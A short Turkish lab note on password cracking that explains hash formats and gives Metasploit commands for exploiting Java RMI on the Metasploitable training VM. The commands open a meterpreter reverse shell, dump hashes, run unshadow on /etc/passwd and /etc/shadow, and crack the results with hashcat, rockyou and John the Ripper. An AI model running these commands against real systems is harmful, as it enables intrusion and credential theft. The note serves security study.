🔑

Şifre Kırma

Hash

Linux Hash

> $1..→MD5(daha kısa olur.)
> $6..→SHA512(daha uzun olur)
> $S..→SHA256

Windows Hash

- admin:500:B34C5……:FC52…..
  - user-user group-lm-ntlm olarak soldan sağa ayrılır.

Hashleri Toparlama

Java rmi açığı kullanma

> **metasploitable** açılır ve ip öğrenilir.

- **msfconsol**e açılır.
- `use exploit/multi/misc/java_rmi_server` komutu çalıştırılır.
- Sonrasında **payload** ayarlanır.
  - `set payload java/meterpreter/reverse_tcp` kullanılabilir.
- Sonrasında `show options` komutuyla gerekli ayarlamalar yapılır.
  - `set rhosts <metasploitable ip>` gibi..

- `exploit` komutu çalıştırılarak hackleme başlatılır.
- `sessions -<id>` ile ilgili sessions'a girilir.
- `run post/linux/gather/hashdump` komutu ile hash alınır.
- Terminaldeki çıktılar bit txt dosyasına başındaki + işaretleri silinerek kaydedilebilir.

Kali Hash Alma

- `unshadow /etc/passwd /etc/shadow` komutuyla oluşan ***root:$6.***. ile başlayan hash alınır.
    - Bu da bir txt dosyasına kaydedilebilir.

Hashcat

> Hashleri kırmaya yarayan programdır.

- apt-get install hashcat komutuyla indilir.
- `hashcat -m 22200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt` gibi örnek bir komut çalıştırılabilir.
    - hash kodu-saldırı tipi-hash'in olduğu dosya-denenecek parola listesi
- Windows için de kullanılabilir.

Zip Şifrelerini Kırma

- `apt-get install john` komutu ile kurulum yapılır.
- `zip2john dosya.zip` komutu ile hash alınır.
- Sonrasında `john --format=zip ziphash1.txt` komutuyla kırılabilir.

🖋Ömer Faruk Baysal